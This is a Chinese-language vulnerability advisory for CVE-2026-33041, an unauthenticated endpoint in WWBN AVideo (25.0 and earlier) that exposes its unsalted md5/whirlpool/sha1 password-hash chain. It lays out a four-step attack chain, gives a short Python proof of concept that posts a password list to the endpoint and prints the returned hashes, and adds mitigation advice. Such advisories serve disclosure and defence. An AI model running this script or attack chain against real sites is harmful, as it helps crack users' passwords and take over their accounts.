CVE-2026-33041 CVSS 5.3 中危

CVE-2026-33041 AVideo密码哈希算法泄露漏洞

披露日期: 2026-03-20

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-33041

漏洞类型

信息泄露

CVSS评分

5.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

WWBN AVideo

漏洞概述

WWBN AVideo是一个开源视频平台，其25.0及以下版本存在严重的信息泄露漏洞。由于/objects/encryptPass.json.php接口未进行访问控制，任何未经身份验证的攻击者都可以利用该端点获取应用程序的密码哈希算法。攻击者只需提交任意密码，服务器便会返回经过特定算法加密的哈希值。这一缺陷结合弱哈希链（无盐的md5+whirlpool+sha1），使得攻击者在获取数据库中的密码哈希后，能够通过比对迅速离线破解出用户明文密码，极大地降低了攻击成本。

技术细节

该漏洞的成因在于WWBN AVideo错误地将内部密码哈希计算逻辑暴露在公网接口/objects/encryptPass.json.php上，且未对调用者进行身份验证。技术原理上，该接口接收用户输入的明文密码，使用服务端配置的哈希算法（md5(whirlpool(sha1($password)))）进行计算并返回结果。利用方式通常分为两步：首先，攻击者通过其他手段（如SQL注入、备份泄露）获取数据库中的用户密码哈希串；其次，攻击者利用本漏洞接口，构建常用密码字典，批量请求该接口生成对应的哈希值，并将其与数据库泄露的哈希进行比对。由于该算法默认不加盐（No Salt），且计算复杂度较低，攻击者可以极速完成对大量账户的暴力破解，从而完全接管用户账户。

攻击链分析

STEP 1

信息收集

攻击者识别目标使用的是WWBN AVideo平台，且版本在25.0或以下。

STEP 2

获取哈希

攻击者通过其他漏洞（如SQL注入）或数据泄露事件获取数据库中的用户密码哈希值。

STEP 3

利用接口

攻击者访问未授权的/objects/encryptPass.json.php接口，提交常用密码字典，获取对应的哈希值。

STEP 4

离线破解

攻击者将接口返回的哈希值与数据库中的哈希值进行比对，快速还原出用户明文密码。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Proof of Concept for CVE-2026-33041
# Description: Demonstrates how an unauthenticated user can hash arbitrary passwords
#              using the exposed endpoint in WWBN AVideo.

target_url = "http://target-host/objects/encryptPass.json.php"
password_list = ["admin123", "password", "123456"]

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded"
}

print("[*] Attempting to hash passwords via vulnerable endpoint...")

for pwd in password_list:
    # The endpoint typically expects a 'password' parameter
    payload = f"password={pwd}"
    
    try:
        response = requests.post(target_url, data=payload, headers=headers, timeout=10)
        
        if response.status_code == 200:
            print(f"[+] Password: {pwd}")
            print(f"[+] Hash Response: {response.text}")
            print("-" * 40)
        else:
            print(f"[-] Failed to hash {pwd}. Status code: {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[!] Error connecting to target: {e}")
        break

影响范围

WWBN AVideo <= 25.0

防御指南

临时缓解措施

如果无法立即升级，建议在服务器配置文件（如.htaccess或Nginx配置）中添加规则，直接拒绝所有对/objects/encryptPass.json.php路径的HTTP请求，或者临时从服务器文件系统中删除该特定文件以阻断利用。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表